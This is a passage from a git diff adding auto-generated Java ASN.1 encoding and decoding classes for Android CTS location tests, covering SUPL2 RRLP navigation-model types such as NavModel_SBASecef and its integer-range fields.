+ public String toIndentedString(String indent) {
+ return "navOmegaA0Type = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class navCrsType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_navCrsType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public navCrsType() {
+ super();
+ setValueRange("-32768", "32767");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_navCrsType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_navCrsType != null) {
+ return ImmutableList.of(TAG_navCrsType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new navCrsType from encoded stream.
+ */
+ public static navCrsType fromPerUnaligned(byte[] encodedBytes) {
+ navCrsType result = new navCrsType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new navCrsType from encoded stream.
+ */
+ public static navCrsType fromPerAligned(byte[] encodedBytes) {
+ navCrsType result = new navCrsType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "navCrsType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class navCisType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_navCisType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public navCisType() {
+ super();
+ setValueRange("-32768", "32767");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_navCisType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_navCisType != null) {
+ return ImmutableList.of(TAG_navCisType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new navCisType from encoded stream.
+ */
+ public static navCisType fromPerUnaligned(byte[] encodedBytes) {
+ navCisType result = new navCisType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new navCisType from encoded stream.
+ */
+ public static navCisType fromPerAligned(byte[] encodedBytes) {
+ navCisType result = new navCisType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "navCisType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class navCusType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_navCusType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public navCusType() {
+ super();
+ setValueRange("-32768", "32767");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_navCusType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_navCusType != null) {
+ return ImmutableList.of(TAG_navCusType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new navCusType from encoded stream.
+ */
+ public static navCusType fromPerUnaligned(byte[] encodedBytes) {
+ navCusType result = new navCusType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new navCusType from encoded stream.
+ */
+ public static navCusType fromPerAligned(byte[] encodedBytes) {
+ navCusType result = new navCusType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "navCusType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class navCrcType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_navCrcType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public navCrcType() {
+ super();
+ setValueRange("-32768", "32767");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_navCrcType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_navCrcType != null) {
+ return ImmutableList.of(TAG_navCrcType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new navCrcType from encoded stream.
+ */
+ public static navCrcType fromPerUnaligned(byte[] encodedBytes) {
+ navCrcType result = new navCrcType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new navCrcType from encoded stream.
+ */
+ public static navCrcType fromPerAligned(byte[] encodedBytes) {
+ navCrcType result = new navCrcType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "navCrcType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class navCicType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_navCicType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public navCicType() {
+ super();
+ setValueRange("-32768", "32767");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_navCicType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_navCicType != null) {
+ return ImmutableList.of(TAG_navCicType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new navCicType from encoded stream.
+ */
+ public static navCicType fromPerUnaligned(byte[] encodedBytes) {
+ navCicType result = new navCicType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new navCicType from encoded stream.
+ */
+ public static navCicType fromPerAligned(byte[] encodedBytes) {
+ navCicType result = new navCicType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "navCicType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class navCucType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_navCucType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public navCucType() {
+ super();
+ setValueRange("-32768", "32767");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_navCucType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_navCucType != null) {
+ return ImmutableList.of(TAG_navCucType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new navCucType from encoded stream.
+ */
+ public static navCucType fromPerUnaligned(byte[] encodedBytes) {
+ navCucType result = new navCucType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new navCucType from encoded stream.
+ */
+ public static navCucType fromPerAligned(byte[] encodedBytes) {
+ navCucType result = new navCucType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "navCucType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("NavModel_NAVKeplerianSet = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/NavModel_SBASecef.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/NavModel_SBASecef.java
new file mode 100755
index 0000000..3f2db77
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/NavModel_SBASecef.java
@@ -0,0 +1,1718 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1BitString;
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class NavModel_SBASecef extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_NavModel_SBASecef
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public NavModel_SBASecef() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_NavModel_SBASecef;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_NavModel_SBASecef != null) {
+ return ImmutableList.of(TAG_NavModel_SBASecef);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new NavModel_SBASecef from encoded stream.
+ */
+ public static NavModel_SBASecef fromPerUnaligned(byte[] encodedBytes) {
+ NavModel_SBASecef result = new NavModel_SBASecef();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new NavModel_SBASecef from encoded stream.
+ */
+ public static NavModel_SBASecef fromPerAligned(byte[] encodedBytes) {
+ NavModel_SBASecef result = new NavModel_SBASecef();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private NavModel_SBASecef.sbasToType sbasTo_;
+ public NavModel_SBASecef.sbasToType getSbasTo() {
+ return sbasTo_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NavModel_SBASecef.sbasToType
+ */
+ public void setSbasTo(Asn1Object value) {
+ this.sbasTo_ = (NavModel_SBASecef.sbasToType) value;
+ }
+ public NavModel_SBASecef.sbasToType setSbasToToNewInstance() {
+ sbasTo_ = new NavModel_SBASecef.sbasToType();
+ return sbasTo_;
+ }
+
+ private NavModel_SBASecef.sbasAccuracyType sbasAccuracy_;
+ public NavModel_SBASecef.sbasAccuracyType getSbasAccuracy() {
+ return sbasAccuracy_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NavModel_SBASecef.sbasAccuracyType
+ */
+ public void setSbasAccuracy(Asn1Object value) {
+ this.sbasAccuracy_ = (NavModel_SBASecef.sbasAccuracyType) value;
+ }
+ public NavModel_SBASecef.sbasAccuracyType setSbasAccuracyToNewInstance() {
+ sbasAccuracy_ = new NavModel_SBASecef.sbasAccuracyType();
+ return sbasAccuracy_;
+ }
+
+ private NavModel_SBASecef.sbasXgType sbasXg_;
+ public NavModel_SBASecef.sbasXgType getSbasXg() {
+ return sbasXg_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NavModel_SBASecef.sbasXgType
+ */
+ public void setSbasXg(Asn1Object value) {
+ this.sbasXg_ = (NavModel_SBASecef.sbasXgType) value;
+ }
+ public NavModel_SBASecef.sbasXgType setSbasXgToNewInstance() {
+ sbasXg_ = new NavModel_SBASecef.sbasXgType();
+ return sbasXg_;
+ }
+
+ private NavModel_SBASecef.sbasYgType sbasYg_;
+ public NavModel_SBASecef.sbasYgType getSbasYg() {
+ return sbasYg_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NavModel_SBASecef.sbasYgType
+ */
+ public void setSbasYg(Asn1Object value) {
+ this.sbasYg_ = (NavModel_SBASecef.sbasYgType) value;
+ }
+ public NavModel_SBASecef.sbasYgType setSbasYgToNewInstance() {
+ sbasYg_ = new NavModel_SBASecef.sbasYgType();
+ return sbasYg_;
+ }
+
+ private NavModel_SBASecef.sbasZgType sbasZg_;
+ public NavModel_SBASecef.sbasZgType getSbasZg() {
+ return sbasZg_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NavModel_SBASecef.sbasZgType
+ */
+ public void setSbasZg(Asn1Object value) {
+ this.sbasZg_ = (NavModel_SBASecef.sbasZgType) value;
+ }
+ public NavModel_SBASecef.sbasZgType setSbasZgToNewInstance() {
+ sbasZg_ = new NavModel_SBASecef.sbasZgType();
+ return sbasZg_;
+ }
+
+ private NavModel_SBASecef.sbasXgDotType sbasXgDot_;
+ public NavModel_SBASecef.sbasXgDotType getSbasXgDot() {
+ return sbasXgDot_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NavModel_SBASecef.sbasXgDotType
+ */
+ public void setSbasXgDot(Asn1Object value) {
+ this.sbasXgDot_ = (NavModel_SBASecef.sbasXgDotType) value;
+ }
+ public NavModel_SBASecef.sbasXgDotType setSbasXgDotToNewInstance() {
+ sbasXgDot_ = new NavModel_SBASecef.sbasXgDotType();
+ return sbasXgDot_;
+ }
+
+ private NavModel_SBASecef.sbasYgDotType sbasYgDot_;
+ public NavModel_SBASecef.sbasYgDotType getSbasYgDot() {
+ return sbasYgDot_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NavModel_SBASecef.sbasYgDotType
+ */
+ public void setSbasYgDot(Asn1Object value) {
+ this.sbasYgDot_ = (NavModel_SBASecef.sbasYgDotType) value;
+ }
+ public NavModel_SBASecef.sbasYgDotType setSbasYgDotToNewInstance() {
+ sbasYgDot_ = new NavModel_SBASecef.sbasYgDotType();
+ return sbasYgDot_;
+ }
+
+ private NavModel_SBASecef.sbasZgDotType sbasZgDot_;
+ public NavModel_SBASecef.sbasZgDotType getSbasZgDot() {
+ return sbasZgDot_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NavModel_SBASecef.sbasZgDotType
+ */
+ public void setSbasZgDot(Asn1Object value) {
+ this.sbasZgDot_ = (NavModel_SBASecef.sbasZgDotType) value;
+ }
+ public NavModel_SBASecef.sbasZgDotType setSbasZgDotToNewInstance() {
+ sbasZgDot_ = new NavModel_SBASecef.sbasZgDotType();
+ return sbasZgDot_;
+ }
+
+ private NavModel_SBASecef.sbasXgDotDotType sbasXgDotDot_;
+ public NavModel_SBASecef.sbasXgDotDotType getSbasXgDotDot() {
+ return sbasXgDotDot_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NavModel_SBASecef.sbasXgDotDotType
+ */
+ public void setSbasXgDotDot(Asn1Object value) {
+ this.sbasXgDotDot_ = (NavModel_SBASecef.sbasXgDotDotType) value;
+ }
+ public NavModel_SBASecef.sbasXgDotDotType setSbasXgDotDotToNewInstance() {
+ sbasXgDotDot_ = new NavModel_SBASecef.sbasXgDotDotType();
+ return sbasXgDotDot_;
+ }
+
+ private NavModel_SBASecef.sbagYgDotDotType sbagYgDotDot_;
+ public NavModel_SBASecef.sbagYgDotDotType getSbagYgDotDot() {
+ return sbagYgDotDot_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NavModel_SBASecef.sbagYgDotDotType
+ */
+ public void setSbagYgDotDot(Asn1Object value) {
+ this.sbagYgDotDot_ = (NavModel_SBASecef.sbagYgDotDotType) value;
+ }
+ public NavModel_SBASecef.sbagYgDotDotType setSbagYgDotDotToNewInstance() {
+ sbagYgDotDot_ = new NavModel_SBASecef.sbagYgDotDotType();
+ return sbagYgDotDot_;
+ }
+
+ private NavModel_SBASecef.sbasZgDotDotType sbasZgDotDot_;
+ public NavModel_SBASecef.sbasZgDotDotType getSbasZgDotDot() {
+ return sbasZgDotDot_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NavModel_SBASecef.sbasZgDotDotType
+ */
+ public void setSbasZgDotDot(Asn1Object value) {
+ this.sbasZgDotDot_ = (NavModel_SBASecef.sbasZgDotDotType) value;
+ }
+ public NavModel_SBASecef.sbasZgDotDotType setSbasZgDotDotToNewInstance() {
+ sbasZgDotDot_ = new NavModel_SBASecef.sbasZgDotDotType();
+ return sbasZgDotDot_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getSbasTo() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSbasTo();
+ }
+
+ @Override public void setToNewInstance() {
+ setSbasToToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NavModel_SBASecef.sbasToType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "sbasTo : "
+ + getSbasTo().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getSbasAccuracy() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSbasAccuracy();
+ }
+
+ @Override public void setToNewInstance() {
+ setSbasAccuracyToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NavModel_SBASecef.sbasAccuracyType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "sbasAccuracy : "
+ + getSbasAccuracy().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getSbasXg() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSbasXg();
+ }
+
+ @Override public void setToNewInstance() {
+ setSbasXgToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NavModel_SBASecef.sbasXgType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "sbasXg : "
+ + getSbasXg().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getSbasYg() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSbasYg();
+ }
+
+ @Override public void setToNewInstance() {
+ setSbasYgToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NavModel_SBASecef.sbasYgType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "sbasYg : "
+ + getSbasYg().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 4);
+
+ @Override public boolean isExplicitlySet() {
+ return getSbasZg() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSbasZg();
+ }
+
+ @Override public void setToNewInstance() {
+ setSbasZgToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NavModel_SBASecef.sbasZgType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "sbasZg : "
+ + getSbasZg().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 5);
+
+ @Override public boolean isExplicitlySet() {
+ return getSbasXgDot() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSbasXgDot();
+ }
+
+ @Override public void setToNewInstance() {
+ setSbasXgDotToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NavModel_SBASecef.sbasXgDotType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "sbasXgDot : "
+ + getSbasXgDot().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 6);
+
+ @Override public boolean isExplicitlySet() {
+ return getSbasYgDot() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSbasYgDot();
+ }
+
+ @Override public void setToNewInstance() {
+ setSbasYgDotToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NavModel_SBASecef.sbasYgDotType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "sbasYgDot : "
+ + getSbasYgDot().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 7);
+
+ @Override public boolean isExplicitlySet() {
+ return getSbasZgDot() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSbasZgDot();
+ }
+
+ @Override public void setToNewInstance() {
+ setSbasZgDotToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NavModel_SBASecef.sbasZgDotType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "sbasZgDot : "
+ + getSbasZgDot().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 8);
+
+ @Override public boolean isExplicitlySet() {
+ return getSbasXgDotDot() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSbasXgDotDot();
+ }
+
+ @Override public void setToNewInstance() {
+ setSbasXgDotDotToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NavModel_SBASecef.sbasXgDotDotType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "sbasXgDotDot : "
+ + getSbasXgDotDot().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 9);
+
+ @Override public boolean isExplicitlySet() {
+ return getSbagYgDotDot() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSbagYgDotDot();
+ }
+
+ @Override public void setToNewInstance() {
+ setSbagYgDotDotToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NavModel_SBASecef.sbagYgDotDotType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
